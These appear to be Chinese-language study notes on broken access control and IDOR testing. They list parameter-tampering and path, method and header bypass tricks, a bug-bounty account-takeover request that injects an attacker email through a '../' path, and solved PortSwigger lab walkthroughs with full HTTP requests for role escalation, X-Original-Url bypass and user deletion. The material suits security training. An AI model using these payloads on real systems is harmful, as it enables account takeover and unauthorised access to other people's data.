数据包常见鉴权字段,一个数据包存在多个鉴权字段,一个一个删除,看哪个鉴权字段起作用,鉴权一般是保证你有这个功能点的权限,越权是不修改鉴权字段,通过修改其它可控参数达到操作其它人或商品信息的功能
1
2
3
4
5
6
7
8
9
10
|
Cookie:JESSIONID=abc123123
token:xxxxxxxxxxxxxx
Authorization头验证
Authorization:Bearer tokens
自定义请求头:
x-token:
x-api....
|
https://mp.weixin.qq.com/s/PePNxoieRVACoTGyaUiz3g
1.水平越权
- 简单参数越权:参数可预测或爆破,小于6位
- Cookie越权
- 复杂ID越权:参数不可预测,长度大于10位,参数加密,通过其它功能点获取
- 不存在参数越权
- 非常规越权:如使用优惠卷,满50-7,但是我们想要不满50就想使用优惠卷,此时操作思路就是,将购物车添加到50元以上,看使用优惠卷的数据包和未使用优惠卷的数据包的不同点,将不同点记录下来,放到未满50的数据包下发包看能否下单成功
两者拥有相同权限,通过替换id或唯一值(这个值是可以爆破出来的)达到操作对方权限
id,name,sid这种字段
id,name,sid如果很长怎么获取,通过关注,访问用户主页,点赞尝试获取他人id
国外可以注册两个账号通过替换id实现越权
2.垂直越权
两者权限不同,低权限用户可通过替换一些字段(包括cookie)实现操作高权限用户功能
会员与非会员
管理员与用户
3.越权漏洞常见功能点
- 系统能够实现增删改查处—个人中心/订单中心/商品/消息通知
- 系统反馈或投诉处
4.越权漏洞Bypass
参数值后面加空格
参数值大小写
1
2
3
|
uid=1234
uid=1234,
uid=1234,1235
|
越权参数置空
uid后面加json
1
2
|
uid=1234
uid=1234.json
|
/等符号进行绕过
1
2
3
|
/api/6798556007/users 403
/api/6798556007//users 200
/api/6798556007/users/
|
浮点数越权
1
2
|
uid=12345
uid=12344.999999
|
API接口通配符
1
2
3
4
5
6
|
通配符参数:* % . _ ,
~ /api/users/*
~ /api/users/%
~ /api/users/_
~ /api/users/.
|
利用../绕过校验
通过bypass IDOR实现账户接管获得2500美元赏金
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
比如一个创建用户数据包
POST /<organizationID>/addEmail/<DemoUserID>/ HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json
Accept-Language: en
Accept-Encoding: gzip, deflate
Content-Type: application/json
Token: 123abc
Content-Length: 40
Origin: https://redacted.com
Referer: https://redacted.com/
{
"email":"attacker@email.com"
}
POST /<organizationID>/addEmail/<DemoUserID>/../<UserID>/ HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json
Accept-Language: en
Accept-Encoding: gzip, deflate
Content-Type: application/json
Token: 123abc
Content-Length: 40
Origin: https://redacted.com
Referer: https://redacted.com/
{
"email":"attacker@email.com"
}
|
修改个人信息处绕过短信验证实现修改信息
记一次个人信息修改处的小技巧
1
2
|
很多修改个人信息资料处可能需要获取验证码才能修改
此时修改一个用户名或不需要获取短信即可修改的功能点,拼接需要获取短信修改的参数构造发包实现绕过
|
UserID混淆
1
2
3
|
/api/v1/message?userId=your_userId&userId=other_userId
/api/v1/message?userId=other_userId&userId=your_userId
/api/v1/message?userId[]=other_userId&userId[]=your_userId
|
过时API版本替换
1
2
3
|
/api/v3/user/
/api/v3/user/123
/api/v2/user/123
|
请求方式替换
1
|
GET--->POST--->PUT--->DELETE
|
UUID类越权
场景:假设这是一个获取用户信息的功能点,你想进行越权操作,但是uuid不可能预测和爆破出来
1.先证明它是否存在漏洞,在注册一个账号,两个uuid互换,看是否存在越权漏洞,如果不存在。那就是没漏洞,如果存在,那确实存在漏洞(国内SRC是不收取这种不可预测类的越权,国外可以尝试提交)
2.收集其它用户的uuid
找能与其它用户交互的功能点,评论区/个人主页/个人头像等功能点的接口是否泄露uuid,像很多文件上传头像处的url就是upload/uuid.jpg
将uuid换成*或者1/2这种看看是否存在测试时的用户
1
2
3
4
5
6
7
|
POST /user/uuid/info http/1.1
HOST:
UserAgent:
POST /user/*/info http/1.1
HOST:
UserAgent:
|
前置导0越权
5.Burp访问控制靶场
5.1.Lab1:未受保护的管理功能
目录扫描出robots.txt,发现存在administrator-panel这个目录,直接访问删除用户即可


5.2.Lab2:具有不可预测的 URL 的未受保护的管理功能
访问靶场,前端泄露管理员后台页面路径


5.3.Lab3:由请求参数控制的用户角色
登录时请求包中Cookie中存在Admin字段,将字段值改为true,访问/admin目录


5.4.Lab4:可以在用户配置文件中修改用户角色
登录后发现只有一个修改邮箱功能点,修改邮箱时添加roleid字段,将值设置为2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
POST /my-account/change-email HTTP/2
Host: 0a6d002704c16cd080a88aee00bb00c1.web-security-academy.net
Cookie: session=iljquQC1WqJnthYfZWbW39RRRQoB1EVh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: text/plain;charset=UTF-8
Content-Length: 22
Origin: https://0a6d002704c16cd080a88aee00bb00c1.web-security-academy.net
Referer: https://0a6d002704c16cd080a88aee00bb00c1.web-security-academy.net/my-account?id=wiener
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
{"email":"abc@qq.com",
"roleid":2
}
|
再次访问/admin端点

5.5.Lab5:由请求参数控制的用户 ID
将id字段由wiener改为carlos用户
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
GET /my-account?id=carlos HTTP/2
Host: 0a8100e504c5d75e80a26336001000ec.web-security-academy.net
Cookie: session=h9cMlj7dRd9jpTQUdzNvIHseVMcncs60
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://0a8100e504c5d75e80a26336001000ec.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
|

5.6.Lab6:由请求参数控制的用户ID,用户ID不可预测
现在id变成uuid随机生成的,不可预测,思路就是找用户交互点,如:评论区,点赞,打赏,个人主页看看数据包中是否泄露其它用户的uuid
查看博客,发现作者这栏泄露了用户的uuid

替换uuid实现越权查看他人信息

5.7.Lab7:用户 ID 由请求参数控制,重定向中数据泄露
登录时将id字段改成carlos,302重定向页面泄露敏感信息

5.8.Lab8:由请求参数控制的用户 ID,密码泄露
登录时将id字段改为administrator,发现password字段属性value泄露密码,登录administrator,删除用户


5.9.Lab9:不安全的直接对象引用
发送一条信息,系统自动回复你信息,点击View按钮,发现能将聊天信息给下载下来

查看下载数据包,将2.txt改为1.txt,发现他人的聊天记录,里面包含密码,直接登录即可通过

5.10.Lab10:可以规避基于 URL 的访问控制
直接访问是Access denied

在请求数据包中添加X-Original-Url字段,值为端点路径
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
GET / HTTP/2
Host: 0a2b00ea0486a18083347d7800fb0005.web-security-academy.net
Cookie: session=t1SAmat9QP9jkbIQqdN7eQUqKcjxwnUk
X-Original-Url: /admin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://0a2b00ea0486a18083347d7800fb0005.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
|

删除用户
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
GET /?username=carlos HTTP/2
Host: 0a2b00ea0486a18083347d7800fb0005.web-security-academy.net
Cookie: session=t1SAmat9QP9jkbIQqdN7eQUqKcjxwnUk
X-Original-Url: /admin/delete
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://0a2b00ea0486a18083347d7800fb0005.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
|

5.11.Lab11:可以规避基于方法的访问控制
使用wiener登录系统,发送数据包即可,原始是post数据包,改成GET即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
GET /admin-roles?username=wiener&action=upgrade HTTP/2
Host: 0aa1000e03fcf1a481987bc000cf00f3.web-security-academy.net
Cookie: session=bYBb4q28ewylPNjvXz9sgPERcol22Kqz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Origin: https://0aa1000e03fcf1a481987bc000cf00f3.web-security-academy.net
Referer: https://0aa1000e03fcf1a481987bc000cf00f3.web-security-academy.net/admin
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
|

5.12.Lab12:多步骤流程,一步无访问控制
- Log in using the admin credentials.
使用管理员凭据登录。
- Browse to the admin panel, promote
<font style="color:rgb(92, 92, 91);background-color:rgb(235, 240, 242);">carlos</font>, and send the confirmation HTTP request to Burp Repeater.
浏览到管理面板,提升 <font style="color:rgb(92, 92, 91);background-color:rgb(235, 240, 242);">carlos</font>,然后向 Burp Repeater 发送确认 HTTP 请求。
- Open a private/incognito browser window, and log in with the non-admin credentials.
打开专用/隐身浏览器窗口,然后使用非管理员凭据登录。
- Copy the non-admin user’s session cookie into the existing Repeater request, change the username to yours, and replay it.
将非管理员用户的会话 cookie 复制到现有的 Repeater 请求中,将用户名更改为您的用户名,然后重播它。
抓取最后一个数据包,将Cookie换成wiener的Cookie,username也换成wiener


5.13.Lab13:基于引用的访问控制
请求包Referer字段需要指定到/admin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
GET /admin-roles?username=wiener&action=upgrade HTTP/2
Host: 0a7d00df043a279480403fc2004f0008.web-security-academy.net
Cookie: session=AALUDlhSVF4sBER8Lj55UDHRJnyyM4Ua
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://0a7d00df043a279480403fc2004f0008.web-security-academy.net/admin
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
|
